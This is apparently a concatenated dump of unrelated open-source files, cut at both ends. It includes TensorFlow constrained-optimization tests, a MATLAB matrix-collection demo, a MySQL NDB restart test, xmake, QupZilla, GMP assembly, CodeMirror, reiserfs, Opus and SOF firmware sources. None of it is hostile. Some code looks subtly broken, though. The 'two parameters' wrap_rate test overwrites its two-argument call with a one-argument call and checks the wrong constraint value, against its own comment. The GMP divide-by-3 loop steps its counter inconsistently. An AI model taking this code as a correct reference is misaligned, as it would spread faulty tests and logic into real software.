correctly when given one parameter.\"\"\"\n penalty_value = 3.1\n penalty_tensor = tf.constant(penalty_value, dtype=tf.float32)\n\n wrapped = operations.wrap_rate(penalty_tensor)\n actual_penalty_value, actual_constraint_value = self._evaluate_expression(\n wrapped)\n # Both the penalty and the constraint portions of the Expression were\n # initialized to penalty_tensor.\n self.assertNear(penalty_value, actual_penalty_value, err=1e-6)\n self.assertNear(penalty_value, actual_constraint_value, err=1e-6)\n\n def test_wrap_rate_penalty_and_constraint(self):\n \"\"\"Make sure that wrap_rate() works correctly when given two parameters.\"\"\"\n penalty_value = 3.1\n constraint_value = 2.7\n penalty_tensor = tf.constant(penalty_value, dtype=tf.float32)\n constraint_tensor = tf.constant(constraint_value, dtype=tf.float32)\n\n wrapped = operations.wrap_rate(penalty_tensor, constraint_tensor)\n wrapped = operations.wrap_rate(penalty_tensor)\n actual_penalty_value, actual_constraint_value = self._evaluate_expression(\n wrapped)\n # The penalty and constraint portions of the Expression were initialized to\n # penalty_tensor and constraint_tensor, respectively.\n self.assertNear(penalty_value, actual_penalty_value, err=1e-6)\n self.assertNear(penalty_value, actual_constraint_value, err=1e-6)\n\n def test_upper_bound_raises_on_empty_list(self):\n \"\"\"Make sure that upper_bound() raises for an empty expressions list.\"\"\"\n with self.assertRaises(ValueError):\n operations.upper_bound([])\n\n def test_upper_bound_raises_on_tensor(self):\n \"\"\"Make sure that upper_bound() raises when given a non-Expression.\"\"\"\n value1 = 3.1\n value2 = 2.7\n tensor1 = tf.constant(value1, dtype=tf.float32)\n expression2 = operations.wrap_rate(tf.constant(value2, dtype=tf.float64))\n\n # List element is a Tensor, instead of an Expression.\n with self.assertRaises(TypeError):\n operations.upper_bound([tensor1, expression2])\n\n def test_upper_bound_raises_on_maximization(self):\n \"\"\"Make sure that upper_bound() raises if it's maximized.\"\"\"\n bounded = -operations.upper_bound([operations.wrap_rate(1.0)])\n # All three of \"penalty_expression\", \"constraint_expression\" and\n # \"extra_constraints\" should raise.\n with self.assertRaises(RuntimeError):\n _ = bounded.penalty_expression\n with self.assertRaises(RuntimeError):\n _ = bounded.constraint_expression\n with self.assertRaises(RuntimeError):\n _ = bounded.extra_constraints\n\n def test_upper_bound(self):\n \"\"\"Make sure that upper_bound() creates the correct Expression.\"\"\"\n values = [0.8, 3.1, -1.6, 2.7]\n bound_value = 1.4\n expressions = [operations.wrap_rate(value) for value in values]\n\n bounded = operations.upper_bound(expressions)\n\n # Before evaluating any expressions, we'll assign \"bound_value\" to the slack\n # variable, so that we can make sure that the same slack variable is being\n # used for all of the constraints.\n def update_ops_fn(structure_memoizer, variables):\n upper_bound_tensor = None\n for variable in variables:\n tensor = variable(structure_memoizer)\n if tensor.name.startswith(\"tfco_upper_bound\"):\n self.assertIsNone(upper_bound_tensor)\n upper_bound_tensor = tensor\n self.assertIsNotNone(upper_bound_tensor)\n return [upper_bound_tensor.assign(bound_value)]\n\n # Extract the set of constraints, and make sure that there is one for each\n # quantity that is being bounded.\n self.assertEqual(len(values), len(bounded.extra_constraints))\n constraints = list(bounded.extra_constraints)\n\n # Evaluate the constraint expressions.\n actual_values = []\n for constraint in constraints:\n actual_penalty_value, actual_constraint_value = self._evaluate_expression(\n constraint.expression, update_ops_fn)\n self.assertEqual(actual_penalty_value, actual_constraint_value)\n actual_values.append(actual_penalty_value)\n # Constraints take the form expression <= 0, and these are upper-bound\n # constraints, so we're expecting:\n # value1 - bound_value <= 0\n # value2 - bound_value <= 0\n # ....\n # We sort the constraint expression values since they occur in no particular\n # order.\n actual_values = sorted(actual_values)\n expected_values = sorted(value - bound_value for value in values)\n self.assertAllClose(expected_values, actual_values, rtol=0, atol=1e-6)\n\n def test_lower_bound_raises_on_empty_list(self):\n \"\"\"Make sure that lower_bound() raises for an empty expressions list.\"\"\"\n with self.assertRaises(ValueError):\n operations.lower_bound([])\n\n def test_lower_bound_raises_on_tensor(self):\n \"\"\"Make sure that lower_bound() raises when given a non-Expression.\"\"\"\n value1 = 3.1\n value2 = 2.7\n tensor1 = tf.constant(value1, dtype=tf.float32)\n expression2 = operations.wrap_rate(tf.constant(value2, dtype=tf.float64))\n\n # List element is a Tensor, instead of an Expression.\n with self.assertRaises(TypeError):\n operations.lower_bound([tensor1, expression2])\n\n def test_lower_bound_raises_on_minimization(self):\n \"\"\"Make sure that lower_bound() raises if it's minimized.\"\"\"\n bounded = operations.lower_bound([operations.wrap_rate(1.0)])\n # All three of \"penalty_expression\", \"constraint_expression\" and\n # \"extra_constraints\" should raise.\n with self.assertRaises(RuntimeError):\n _ = bounded.penalty_expression\n with self.assertRaises(RuntimeError):\n _ = bounded.constraint_expression\n with self.assertRaises(RuntimeError):\n _ = bounded.extra_constraints\n\n def test_lower_bound(self):\n \"\"\"Make sure that lower_bound() creates the correct Expression.\"\"\"\n values = [0.8, 3.1, -1.6, 2.7]\n bound_value = 1.4\n expressions = [operations.wrap_rate(value) for value in values]\n\n # We need to negate \"bounded\" since it's implicitly being minimized, and we\n # cannot minimize a lower bound.\n bounded = -operations.lower_bound(expressions)\n\n # Before evaluating any expressions, we'll assign \"bound_value\" to the slack\n # variable, so that we can make sure that the same slack variable is being\n # used for all of the constraints.\n def update_ops_fn(structure_memoizer, variables):\n lower_bound_tensor = None\n for variable in variables:\n tensor = variable(structure_memoizer)\n if tensor.name.startswith(\"tfco_lower_bound\"):\n self.assertIsNone(lower_bound_tensor)\n lower_bound_tensor = tensor\n self.assertIsNotNone(lower_bound_tensor)\n return [lower_bound_tensor.assign(bound_value)]\n\n # Extract the set of constraints, and make sure that there is one for each\n # quantity that is being bounded.\n self.assertEqual(len(values), len(bounded.extra_constraints))\n constraints = list(bounded.extra_constraints)\n\n # Evaluate the constraint expressions.\n actual_values = []\n for constraint in constraints:\n actual_penalty_value, actual_constraint_value = self._evaluate_expression(\n constraint.expression, update_ops_fn)\n self.assertEqual(actual_penalty_value, actual_constraint_value)\n actual_values.append(actual_penalty_value)\n # Constraints take the form expression <= 0, and these are lower-bound\n # constraints, so we're expecting:\n # bound_value - value1 <= 0\n # bound_value - value2 <= 0\n # ....\n # We sort the constraint expression values since they occur in no particular\n # order.\n actual_values = sorted(actual_values)\n expected_values = sorted(bound_value - value for value in values)\n self.assertAllClose(expected_values, actual_values, rtol=0, atol=1e-6)\n\n\nif __name__ == \"__main__\":\n tf.test.main()\n"} -{"text": "%SJGET_EXAMPLE a demo for SJget.\n% This example script gets the index file of the SJSU Singular matrix collection,\n% and then loads in all symmetric non-binary matrices, in increasing order of\n% number of rows in the matrix.\n%\n% Example:\n% type SJget_example ; % to see an example of how to use SJget\n%\n% See also SJget, SJweb, SJgrep.\n\n% Derived from the UFget toolbox on March 18, 2008.\n% Copyright 2007, Tim Davis, University of Florida.\n\n% modified by L. Foster 09/17/2008\n\ntype SJget_example ;\n\nindex = SJget ;\n% find all symmetric matrices that are not binary,\n% have at least 4000 column and have a gap in the singular\n% values at the numerical rank of at least 1000\nf = find (index.numerical_symmetry == 1 & ~index.isBinary & ...\n index.ncols >= 4000 & index.gap >= 1000 );\n% sort by the dimension of the numerical null space\n[y, j] = sort (index.ncols (f) - index.numrank (f) ) ;\nf = f (j) ;\n\nfor i = f\n fprintf ('Loading %s%s%s, please wait ...\\n', ...\n\tindex.Group {i}, filesep, index.Name {i}) ;\n Problem = SJget (i,index) ;\n %display the problem structure\n disp (Problem) ;\n % display a plot of the singular values\n SJplot(Problem) ;\n shg\n disp(' ')\n disp(['dim. of numerical null space = ', ...\n num2str(index.ncols (i) - index.numrank (i))]);\n disp(' ')\n pause(1)\n %display the web page with matrix details\n SJweb (i) ;\n pause(1)\nend\n\n"} -{"text": "--source include/have_ndb.inc\n--source include/not_windows.inc\n\nCREATE TABLE t1(a int primary key, b varchar(255), c int) engine=ndb;\n\nselect * from t1;\ninsert into t1 values (1, \"row 1\", 2);\n\nconnect(con1, localhost, root,,);\nconnect(con2, localhost, root,,);\nconnect(con3, localhost, root,,);\n\nconnection con1;\nselect * from t1;\nconnection con2;\nselect * from t1;\nconnection con3;\nselect * from t1;\n\n# Restart cluster nodes \"nostart\"\n--exec $NDB_MGM --no-defaults --ndb-connectstring=\"$NDB_CONNECTSTRING\" -e \"all restart -n\" >> $NDB_TOOLS_OUTPUT\n# Wait for all nodes to enter \"nostart\"\n--exec $NDB_WAITER --no-defaults --ndb-connectstring=\"$NDB_CONNECTSTRING\" --not-started >> $NDB_TOOLS_OUTPUT\n\nconnection con1;\n--error 1296\nselect * from t1;\n\nconnection con2;\n--error 1296\nselect * from t1;\n\n# Don't do anything with the third connection\n#connection con3;\n\n\n# Start cluster nodes again\n--exec $NDB_MGM --no-defaults --ndb-connectstring=\"$NDB_CONNECTSTRING\" -e \"all start\" >> $NDB_TOOLS_OUTPUT\n# Wait for all nodes to enter \"started\"\n--exec $NDB_WAITER --no-defaults --ndb-connectstring=\"$NDB_CONNECTSTRING\" >> $NDB_TOOLS_OUTPUT\n\n\n#\n# Wait until the connection to the\n# cluster has been restored or timeout occurs\n#\nconnection default;\n--disable_result_log\n--disable_query_log\n--source include/ndb_not_readonly.inc\n--enable_result_log\n--enable_query_log\n\n# Run selects to show that the cluster are back\n\nconnection con1;\nselect a,b,c from t1;\n\nconnection con2;\nselect * from t1;\n\nconnection con3;\nselect * from t1;\n\n#\n# Wait until mysqld has connected properly to cluster\n#\n--disable_result_log\n--disable_query_log\nsource include/ndb_not_readonly.inc;\n--enable_query_log\n--enable_result_log\n\n# Do an insert to see table is writable\ninsert into t1 values (2, \"row 1\", 37);\n\n# cleanup\ndrop table t1;\n"} -{"text": "\tframe 3, 30\n\tendanim\n"} -{"text": "--!A cross-platform build utility based on Lua\n--\n-- Licensed under the Apache License, Version 2.0 (the \"License\");\n-- you may not use this file except in compliance with the License.\n-- You may obtain a copy of the License at\n--\n-- http://www.apache.org/licenses/LICENSE-2.0\n--\n-- Unless required by applicable law or agreed to in writing, software\n-- distributed under the License is distributed on an \"AS IS\" BASIS,\n-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n-- See the License for the specific language governing permissions and\n-- limitations under the License.\n--\n-- Copyright (C) 2015-2020, TBOOX Open Source Group.\n--\n-- @author ruki\n-- @file xmake.lua\n--\n\n-- define task\ntask(\"update\")\n\n -- set category\n set_category(\"action\")\n\n -- on run\n on_run(\"main\")\n\n -- set menu\n set_menu {\n -- usage\n usage = \"xmake update [options] [xmakever]\"\n\n -- description\n , description = \"Update and uninstall the xmake program.\"\n\n -- options\n , options =\n {\n {nil, \"uninstall\", \"k\", nil, \"Uninstall the current xmake program.\" }\n , { }\n , {'s', \"scriptonly\", \"k\", nil, \"Update script only\" }\n , {'f', \"force\", \"k\", nil, \"Force to update and reinstall the given version.\" }\n , {nil, \"xmakever\", \"v\", nil, \"The given xmake version, or a git source (and branch). \",\n \"e.g.\",\n \" from official source: \",\n \" latest, ~2.2.3, dev, master\",\n \" from custom source:\",\n \" https://github.com/xmake-io/xmake\",\n \" github:xmake-io/xmake#~2.2.3\",\n \" git://github.com/xmake-io/xmake.git#master\",\n values = function (complete)\n if not complete then\n return\n end\n return try{ function ()\n import(\"private.action.update.fetch_version\")\n\n local seg = complete:split('#', { plain = true, limit = 2, strict = true })\n if #seg == 1 then\n if seg[1]:find(':', 1, true) then\n -- incomplete custom source\n return\n else\n seg[1] = \"\"\n end\n end\n\n local versions = fetch_version(seg[1])\n for i,v in ipairs(versions.tags) do\n if v:startswith(\"v\") and #v > 5 then\n versions.tags[i] = v:sub(2)\n end\n end\n local candidates = table.join(\"latest\", versions.branches, table.reverse(versions.tags))\n if versions.is_official then\n return candidates\n else\n for i, v in ipairs(candidates) do\n candidates[i] = seg[1] .. \"#\" .. v\n end\n return candidates\n end\n end }\n end}\n }\n }\n\n\n\n"} -{"text": "/* ============================================================\n* QupZilla - Qt web browser\n* Copyright (C) 2018 David Rosca \n*\n* This program is free software: you can redistribute it and/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation, either version 3 of the License, or\n* (at your option) any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU General Public License for more details.\n*\n* You should have received a copy of the GNU General Public License\n* along with this program. If not, see .\n* ============================================================ */\n\n#include \"adblockplugin.h\"\n#include \"adblockmanager.h\"\n#include \"adblockicon.h\"\n\n#include \"scripts.h\"\n#include \"webpage.h\"\n#include \"pluginproxy.h\"\n#include \"browserwindow.h\"\n#include \"navigationbar.h\"\n#include \"mainapplication.h\"\n#include \"statusbar.h\"\n\nAdBlockPlugin::AdBlockPlugin()\n : QObject()\n{\n}\n\nPluginSpec AdBlockPlugin::pluginSpec()\n{\n return PluginSpec();\n}\n\nvoid AdBlockPlugin::init(InitState state, const QString &settingsPath)\n{\n Q_UNUSED(settingsPath)\n Q_ASSERT(state == StartupInitState);\n\n connect(mApp, &MainApplication::aboutToQuit, AdBlockManager::instance(), &AdBlockManager::save);\n connect(mApp->plugins(), &PluginProxy::webPageCreated, this, &AdBlockPlugin::webPageCreated);\n connect(mApp->plugins(), &PluginProxy::webPageDeleted, this, &AdBlockPlugin::webPageDeleted);\n connect(mApp->plugins(), &PluginProxy::mainWindowCreated, this, &AdBlockPlugin::mainWindowCreated);\n}\n\nvoid AdBlockPlugin::unload()\n{\n}\n\nbool AdBlockPlugin::testPlugin()\n{\n return true;\n}\n\nvoid AdBlockPlugin::webPageCreated(WebPage *page)\n{\n connect(page, &WebPage::loadFinished, this, [=]() {\n AdBlockManager *manager = AdBlockManager::instance();\n if (!manager->isEnabled()) {\n return;\n }\n // Apply global element hiding rules\n const QString elementHiding = manager->elementHidingRules(page->url());\n if (!elementHiding.isEmpty()) {\n page->runJavaScript(Scripts::setCss(elementHiding), WebPage::SafeJsWorld);\n }\n // Apply domain-specific element hiding rules\n const QString siteElementHiding = manager->elementHidingRulesForDomain(page->url());\n if (!siteElementHiding.isEmpty()) {\n page->runJavaScript(Scripts::setCss(siteElementHiding), WebPage::SafeJsWorld);\n }\n });\n}\n\nvoid AdBlockPlugin::webPageDeleted(WebPage *page)\n{\n AdBlockManager::instance()->clearBlockedRequestsForUrl(page->url());\n}\n\nvoid AdBlockPlugin::mainWindowCreated(BrowserWindow *window)\n{\n AdBlockIcon *icon = new AdBlockIcon(window);\n window->statusBar()->addButton(icon);\n window->navigationBar()->addToolButton(icon);\n}\n\nbool AdBlockPlugin::acceptNavigationRequest(WebPage *page, const QUrl &url, QWebEnginePage::NavigationType type, bool isMainFrame)\n{\n Q_UNUSED(type)\n\n AdBlockManager *manager = AdBlockManager::instance();\n if (isMainFrame) {\n manager->clearBlockedRequestsForUrl(page->url());\n }\n if (url.scheme() == QL1S(\"abp\") && AdBlockManager::instance()->addSubscriptionFromUrl(url)) {\n return false;\n }\n return true;\n}\n"} -{"text": "dnl AMD K6 mpn_divexact_by3 -- mpn division by 3, expecting no remainder.\n\ndnl Copyright 2000, 2001, 2002 Free Software Foundation, Inc.\ndnl\ndnl This file is part of the GNU MP Library.\ndnl\ndnl The GNU MP Library is free software; you can redistribute it and/or\ndnl modify it under the terms of the GNU Lesser General Public License as\ndnl published by the Free Software Foundation; either version 2.1 of the\ndnl License, or (at your option) any later version.\ndnl\ndnl The GNU MP Library is distributed in the hope that it will be useful,\ndnl but WITHOUT ANY WARRANTY; without even the implied warranty of\ndnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\ndnl Lesser General Public License for more details.\ndnl\ndnl You should have received a copy of the GNU Lesser General Public\ndnl License along with the GNU MP Library; see the file COPYING.LIB. If\ndnl not, write to the Free Software Foundation, Inc., 51 Franklin Street,\ndnl Fifth Floor, Boston, MA 02110-1301, USA.\n\ninclude(`../config.m4')\n\n\nC K6: 10.0 cycles/limb\n\n\nC mp_limb_t mpn_divexact_by3c (mp_ptr dst, mp_srcptr src, mp_size_t size,\nC mp_limb_t carry);\nC\nC Using %esi in (%esi,%ecx,4) or 0(%esi,%ecx,4) addressing modes doesn't\nC lead to vector decoding, unlike plain (%esi) does.\n\ndefframe(PARAM_CARRY,16)\ndefframe(PARAM_SIZE, 12)\ndefframe(PARAM_SRC, 8)\ndefframe(PARAM_DST, 4)\n\ndnl multiplicative inverse of 3, modulo 2^32\ndeflit(INVERSE_3, 0xAAAAAAAB)\n\n\tTEXT\n\tALIGN(16)\n\n\tnop\tC code alignment\n\nPROLOGUE(mpn_divexact_by3c)\ndeflit(`FRAME',0)\n\n\tmovl\tPARAM_SIZE, %ecx\n\tpushl\t%esi\t\tdefframe_pushl(SAVE_ESI)\n\n\tmovl\tPARAM_SRC, %esi\n\tpushl\t%edi\t\tdefframe_pushl(SAVE_EDI)\n\n\tmovl\tPARAM_DST, %edi\n\tpushl\t%ebx\t\tdefframe_pushl(SAVE_EBX)\n\n\tmovl\tPARAM_CARRY, %edx\n\tleal\t(%esi,%ecx,4), %esi\n\n\tpushl\t%ebp\t\tdefframe_pushl(SAVE_EBP)\n\tmovl\t$3, %ebp\n\n\tleal\t0(%edi,%ecx,4), %edi\n\tnegl\t%ecx\n\n\nL(top):\n\tC eax\tscratch, low product\n\tC ebx\tcarry limb (0 to 2)\n\tC ecx\tcounter, limbs, negative\n\tC edx\tscratch, high product\n\tC esi\t&src[size]\n\tC edi\t&dst[size]\n\tC ebp\t3\n\n\tmovl\t(%esi,%ecx,4), %eax\n\tsubl\t%edx, %eax\n\n\tsbbl\t%ebx, %ebx\t\tC borrow 0 or -1\n\n\timull\t$INVERSE_3, %eax, %eax\n\n\tmovl\t%eax, (%edi,%ecx,4)\n\taddl\t$2, %ecx\n\n\tmull\t%ebp\n\n\tsubl\t%ebx, %edx\t\tC new carry\n\tloop\tL(top)\n\n\n\tmovl\tSAVE_ESI, %esi\n\tmovl\t%edx, %eax\n\n\tmovl\tSAVE_EBX, %ebx\n\n\tmovl\tSAVE_EBP, %ebp\n\n\tmovl\tSAVE_EDI, %edi\n\taddl\t$FRAME, %esp\n\n\tret\n\nEPILOGUE()\n"} -{"text": "\n\nCodeMirror: LiveScript mode\n\n\n\n\n\n\n\n\n\n\n
    \n

    LiveScript mode

    \n
    \n \n\n

    MIME types defined: text/x-livescript.

    \n\n

    The LiveScript mode was written by Kenneth Bentley.

    \n\n
    \n"} -{"text": "/** -*- c++ -*-\n * Copyright (C) 2008 Luke Lu (Zvents, Inc.)\n *\n * This file is part of Hypertable.\n *\n * Hypertable is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; version 2 of the\n * License, or any later version.\n *\n * Hypertable is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301, USA.\n */\n\n#ifndef HYPERTABLE_TABLE_FILE_GC_H\n#define HYPERTABLE_TABLE_FILE_GC_H\n\nnamespace Hypertable {\n\nextern void master_gc_start(PropertiesPtr &, ThreadGroup &threads,\n TablePtr &metadata, Filesystem *fs);\n\nextern void master_gc_once(TablePtr &metadata, Filesystem *fs,\n bool dryrun = false);\n\n} // namespace Hypertable\n\n#endif // HYPERTABLE_TABLE_FILE_GC_H\n"} -{"text": "#include \"reiserfs.h\"\n#include \n#include \n#include \n#include \n#include \n#include \"xattr.h\"\n#include \n\nstatic int\ntrusted_get(const struct xattr_handler *handler, struct dentry *dentry,\n\t const char *name, void *buffer, size_t size)\n{\n\tif (strlen(name) < sizeof(XATTR_TRUSTED_PREFIX))\n\t\treturn -EINVAL;\n\n\tif (!capable(CAP_SYS_ADMIN) || IS_PRIVATE(d_inode(dentry)))\n\t\treturn -EPERM;\n\n\treturn reiserfs_xattr_get(d_inode(dentry), name, buffer, size);\n}\n\nstatic int\ntrusted_set(const struct xattr_handler *handler, struct dentry *dentry,\n\t const char *name, const void *buffer, size_t size, int flags)\n{\n\tif (strlen(name) < sizeof(XATTR_TRUSTED_PREFIX))\n\t\treturn -EINVAL;\n\n\tif (!capable(CAP_SYS_ADMIN) || IS_PRIVATE(d_inode(dentry)))\n\t\treturn -EPERM;\n\n\treturn reiserfs_xattr_set(d_inode(dentry), name, buffer, size, flags);\n}\n\nstatic size_t trusted_list(const struct xattr_handler *handler,\n\t\t\t struct dentry *dentry, char *list, size_t list_size,\n\t\t\t const char *name, size_t name_len)\n{\n\tconst size_t len = name_len + 1;\n\n\tif (!capable(CAP_SYS_ADMIN) || IS_PRIVATE(d_inode(dentry)))\n\t\treturn 0;\n\n\tif (list && len <= list_size) {\n\t\tmemcpy(list, name, name_len);\n\t\tlist[name_len] = '\\0';\n\t}\n\treturn len;\n}\n\nconst struct xattr_handler reiserfs_xattr_trusted_handler = {\n\t.prefix = XATTR_TRUSTED_PREFIX,\n\t.get = trusted_get,\n\t.set = trusted_set,\n\t.list = trusted_list,\n};\n"} -{"text": "\n- if 1\n p foo\n- else\n p bar\n\n- if 1\n p foo\n- elif 2\n p a\n- else\n p bar\n\nif 1\n p foo\n p bar\n p baz\nelse\n p bar\n\nunless 1\n p foo\nelse\n p bar\nif 1\n a hello\nif 'nested'\n if 'works'\n p yay"} -{"text": "/* Copyright (c) 2001-2011 Timothy B. Terriberry\n Copyright (c) 2008-2009 Xiph.Org Foundation */\n/*\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n\n - Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n\n - Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER\n OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#if !defined(_entenc_H)\n# define _entenc_H (1)\n# include \n# include \"entcode.h\"\n\n/*Initializes the encoder.\n _buf: The buffer to store output bytes in.\n _size: The size of the buffer, in chars.*/\nvoid ec_enc_init(ec_enc *_this,unsigned char *_buf,opus_uint32 _size);\n/*Encodes a symbol given its frequency information.\n The frequency information must be discernable by the decoder, assuming it\n has read only the previous symbols from the stream.\n It is allowable to change the frequency information, or even the entire\n source alphabet, so long as the decoder can tell from the context of the\n previously encoded information that it is supposed to do so as well.\n _fl: The cumulative frequency of all symbols that come before the one to be\n encoded.\n _fh: The cumulative frequency of all symbols up to and including the one to\n be encoded.\n Together with _fl, this defines the range [_fl,_fh) in which the\n decoded value will fall.\n _ft: The sum of the frequencies of all the symbols*/\nvoid ec_encode(ec_enc *_this,unsigned _fl,unsigned _fh,unsigned _ft);\n\n/*Equivalent to ec_encode() with _ft==1<<_bits.*/\nvoid ec_encode_bin(ec_enc *_this,unsigned _fl,unsigned _fh,unsigned _bits);\n\n/* Encode a bit that has a 1/(1<<_logp) probability of being a one */\nvoid ec_enc_bit_logp(ec_enc *_this,int _val,unsigned _logp);\n\n/*Encodes a symbol given an \"inverse\" CDF table.\n _s: The index of the symbol to encode.\n _icdf: The \"inverse\" CDF, such that symbol _s falls in the range\n [_s>0?ft-_icdf[_s-1]:0,ft-_icdf[_s]), where ft=1<<_ftb.\n The values must be monotonically non-increasing, and the last value\n must be 0.\n _ftb: The number of bits of precision in the cumulative distribution.*/\nvoid ec_enc_icdf(ec_enc *_this,int _s,const unsigned char *_icdf,unsigned _ftb);\n\n/*Encodes a raw unsigned integer in the stream.\n _fl: The integer to encode.\n _ft: The number of integers that can be encoded (one more than the max).\n This must be at least 2, and no more than 2**32-1.*/\nvoid ec_enc_uint(ec_enc *_this,opus_uint32 _fl,opus_uint32 _ft);\n\n/*Encodes a sequence of raw bits in the stream.\n _fl: The bits to encode.\n _ftb: The number of bits to encode.\n This must be between 1 and 25, inclusive.*/\nvoid ec_enc_bits(ec_enc *_this,opus_uint32 _fl,unsigned _ftb);\n\n/*Overwrites a few bits at the very start of an existing stream, after they\n have already been encoded.\n This makes it possible to have a few flags up front, where it is easy for\n decoders to access them without parsing the whole stream, even if their\n values are not determined until late in the encoding process, without having\n to buffer all the intermediate symbols in the encoder.\n In order for this to work, at least _nbits bits must have already been\n encoded using probabilities that are an exact power of two.\n The encoder can verify the number of encoded bits is sufficient, but cannot\n check this latter condition.\n _val: The bits to encode (in the least _nbits significant bits).\n They will be decoded in order from most-significant to least.\n _nbits: The number of bits to overwrite.\n This must be no more than 8.*/\nvoid ec_enc_patch_initial_bits(ec_enc *_this,unsigned _val,unsigned _nbits);\n\n/*Compacts the data to fit in the target size.\n This moves up the raw bits at the end of the current buffer so they are at\n the end of the new buffer size.\n The caller must ensure that the amount of data that's already been written\n will fit in the new size.\n _size: The number of bytes in the new buffer.\n This must be large enough to contain the bits already written, and\n must be no larger than the existing size.*/\nvoid ec_enc_shrink(ec_enc *_this,opus_uint32 _size);\n\n/*Indicates that there are no more symbols to encode.\n All reamining output bytes are flushed to the output buffer.\n ec_enc_init() must be called before the encoder can be used again.*/\nvoid ec_enc_done(ec_enc *_this);\n\n#endif\n"} -{"text": "# Copyright 2017 Open Source Robotics Foundation, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom ament_flake8.main import main_with_errors\nimport pytest\n\n\n@pytest.mark.flake8\n@pytest.mark.linter\ndef test_flake8():\n rc, errors = main_with_errors(argv=[])\n assert rc == 0, \\\n 'Found %d code style errors / warnings:\\n' % len(errors) + \\\n '\\n'.join(errors)\n"} -{"text": "// SPDX-License-Identifier: BSD-3-Clause\n//\n// Copyright(c) 2018 Intel Corporation. All rights reserved.\n//\n// Author: Liam Girdwood \n\n#include \n#include \n#include \n#include \n#include \n\n/* Heap blocks for system runtime */\nstatic SHARED_DATA struct block_hdr sys_rt_block64[HEAP_SYS_RT_COUNT64];\nstatic SHARED_DATA struct block_hdr sys_rt_block512[HEAP_SYS_RT_COUNT512];\nstatic SHARED_DATA struct block_hdr sys_rt_block1024[HEAP_SYS_RT_COUNT1024];\n\n/* Heap memory for system runtime */\nstatic SHARED_DATA struct block_map sys_rt_heap_map[] = {\n\tBLOCK_DEF(64, HEAP_SYS_RT_COUNT64, sys_rt_block64),\n\tBLOCK_DEF(512, HEAP_SYS_RT_COUNT512, sys_rt_block512),\n\tBLOCK_DEF(1024, HEAP_SYS_RT_COUNT1024, sys_rt_block1024),\n};\n\n/* Heap blocks for modules */\nstatic SHARED_DATA struct block_hdr mod_block16[HEAP_RT_COUNT16];\nstatic SHARED_DATA struct block_hdr mod_block32[HEAP_RT_COUNT32];\nstatic SHARED_DATA struct block_hdr mod_block64[HEAP_RT_COUNT64];\nstatic SHARED_DATA struct block_hdr mod_block128[HEAP_RT_COUNT128];\nstatic SHARED_DATA struct block_hdr mod_block256[HEAP_RT_COUNT256];\nstatic SHARED_DATA struct block_hdr mod_block512[HEAP_RT_COUNT512];\nstatic SHARED_DATA struct block_hdr mod_block1024[HEAP_RT_COUNT1024];\n\n/* Heap memory map for modules */\nstatic SHARED_DATA struct block_map rt_heap_map[] = {\n\tBLOCK_DEF(16, HEAP_RT_COUNT16, mod_block16),\n\tBLOCK_DEF(32, HEAP_RT_COUNT32, mod_block32),\n\tBLOCK_DEF(64, HEAP_RT_COUNT64, mod_block64),\n\tBLOCK_DEF(128, HEAP_RT_COUNT128, mod_block128),\n\tBLOCK_DEF(256, HEAP_RT_COUNT256, mod_block256),\n\tBLOCK_DEF(512, HEAP_RT_COUNT512, mod_block512),\n\tBLOCK_DEF(1024, HEAP_RT_COUNT1024, mod_block1024),\n};\n\n/* Heap blocks for buffers */\nstatic SHARED_DATA struct block_hdr buf_block[HEAP_BUFFER_COUNT];\n\n/* Heap memory map for buffers */\nstatic SHARED_DATA struct block_map buf_heap_map[] = {\n\tBLOCK_DEF(HEAP_BUFFER_BLOCK_SIZE, HEAP_BUFFER_COUNT, buf_block),\n};\n\nstatic SHARED_DATA struct mm memmap = {\n\t.system[0] = {\n\t\t.heap = HEAP_SYSTEM_BASE,\n\t\t.size = HEAP_SYSTEM_SIZE,\n\t\t.info = {.free = HEAP_SYSTEM_SIZE,},\n\t\t.caps = SOF_MEM_CAPS_RAM | SOF_MEM_CAPS_CACHE |\n\t\t\tSOF_MEM_CAPS_DMA,\n\t},\n\t.system_runtime[0] = 